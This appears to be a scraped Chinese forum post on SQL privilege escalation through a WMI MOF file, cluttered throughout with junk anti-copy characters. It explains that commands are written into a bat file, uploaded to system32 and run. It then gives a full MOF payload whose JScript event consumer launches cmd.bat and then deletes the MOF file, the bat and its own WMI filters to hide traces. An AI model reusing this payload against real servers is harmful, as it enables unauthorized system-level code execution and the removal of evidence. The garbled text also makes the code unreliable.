这个sql提权MOF需要运行 system下的文件,不能定义路径。
0 u- }. {; K# ~! J* |; k, ?需要将要运行的命令写入到bat上传到system32目录,然后执行。
" t* K6 q$ o. s4 a# n7 c& l, c9 q* S, @% P0 |6 q* {( N
这个sql提权MOF需要运行 system下的文件,不能定义路径。) S- \9 c. u& q; A- F9 z0 H) i
需要将要运行的命令写入到bat上传到system32目录,然后执行。
5 {) |8 K$ d; I3 L* Z. G! |, m2 W: {" r) d8 b. z
#pragma1 `* H( o" z8 f9 M1 I
namespace("\\\\.\\root\\cimv2")' \. ~: d$ e6 I
class
! C# d5 N/ _* [2 M7 z, I MyClass547
. }7 [5 `8 ~* K, y' J { [key]5 ` L1 v- G. |. m/ v3 O' |
string9 C- U4 c5 ~/ a" B9 o3 G* S. C3 I
Name;' f, H5 g1 ]5 V8 o, T) F+ l
};; d# c# M) O1 X& p6 `
class
; J' a2 D' i8 W3 _1 p1 L ActiveScriptEventConsumer
4 S/ C, W3 H8 u4 k : __EventConsumer { [key]. R6 J8 I6 k5 a4 p2 d
string7 v* |$ O; h$ N0 S
Name; [not_null]4 e$ k5 X J5 t9 ?1 L1 c0 W
string! \ G( J! y, o, ^( H
ScriptingEngine; string
8 F# T9 A* i! O5 E+ |# k ScriptFileName; [template]
: r! }3 W) P" P: v- p* h string
* X7 G5 d' L2 M6 o9 q( t ScriptText; uint32 KillTimeout;
# v: L, `8 _$ w6 B1 O+ [7 i) g }; instance of __Win32Provider as $P {
' m+ C! {8 y" \. n Name1 \! k- v6 ]) f- Y/ x
=& C, \4 N0 m1 e3 m* u, V
"ActiveScriptEventConsumer"; CLSID =
: J: Q. [) p: u6 @" T% R$ A L "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
* l% U ~5 Y* l# j0 `& w PerUserInitialization4 J& H/ p3 o1 y4 k
= TRUE;4 ^, h) W+ g; {2 V; y" D0 {
}; instance of __EventConsumerProviderRegistration { Provider
0 N: r) ?+ `* Y. B8 j = $P; ConsumerClassNames
( K1 d" {: Y; `: b1 [ =
8 m1 P1 ^, R, n( x3 g# ^$ o {"ActiveScriptEventConsumer"};5 _; J. E' c7 l* u+ D
};: Y& |) `9 i5 `" v I
Instance of ActiveScriptEventConsumer8 t, N% J4 r+ h4 S, P
as $cons { Name
9 X3 b# J. R* {9 b1 Q2 @ =
- C+ y. ?0 [8 b, C& k3 d; k% P "ASEC"; ScriptingEngine$ _) n/ _. R1 P) p
=1 X r/ R( C/ N% Z$ o
"JScript"; ScriptText
1 h5 E. `) z7 V =' d" M8 c7 _2 j7 V' s
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
5 b' ]$ o2 L4 ]$ E. t) g. m Instance of ActiveScriptEventConsumer
' `3 q4 _% C5 I* q as $cons2 { Name3 ]+ u1 [% ?) ?) `1 b$ O& n& c0 |
=! j0 t" l: j7 G% b V/ A
"qndASEC"; ScriptingEngine! l# W) { F* ~+ ]- i
=
* t3 [/ O0 A" w4 @- f- n "JScript"; ScriptText5 f9 w' j+ z+ S7 o. f- l& z2 {
=2 T; ?- A8 |; }8 l1 n3 s% Z
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";7 E9 I% r D: {$ W/ D! h2 K. F
}; instance of __EventFilter as $Filt { Name2 n' k) r% I; ~9 p0 z j
=8 } V4 M. [6 D# z9 ?- ?8 p: G
"instfilt"; Query9 |1 s. G2 q9 i
= P7 |- P# R- z: Z0 w
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
4 A- V6 o8 d' o B J =
1 m- ]# ~- a& C/ g7 V "WQL"; }; instance of __EventFilter as $Filt2 { Name
5 [: U6 | k9 y1 k) H$ H =
% X/ A( `2 z5 w "qndfilt"; Query( |; R/ S6 C6 X2 l8 Q4 ^) h
=
2 k' L4 H) J/ I5 x3 e8 N) j0 x# H; T "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
4 k+ e# R f5 v ` =! K0 W2 f# @# k+ N
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
) f* B* k3 `/ T0 _5 Z) Q = $cons; Filter
$ W* V( B* z) i/ y. N = $Filt;& M' D, A \! s! |( w/ a
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
8 s/ N. Y0 ~+ f7 i& Y = $cons2; Filter# m/ |5 q6 p1 [; p( z8 O
= $Filt2;
* |# H! Q4 C1 R8 J! ~: H) p1 ~ }; instance of MyClass547; f* P: }/ m, E$ I' J: w0 r$ k- M
as $MyClass { Name' K! }8 f9 X H- Q: L0 D& U
=- ~0 s7 ?& h; v0 ]3 I/ J2 |
"ClassConsumer";
! P8 w* R1 a& D9 q* `% ^% O" k }; |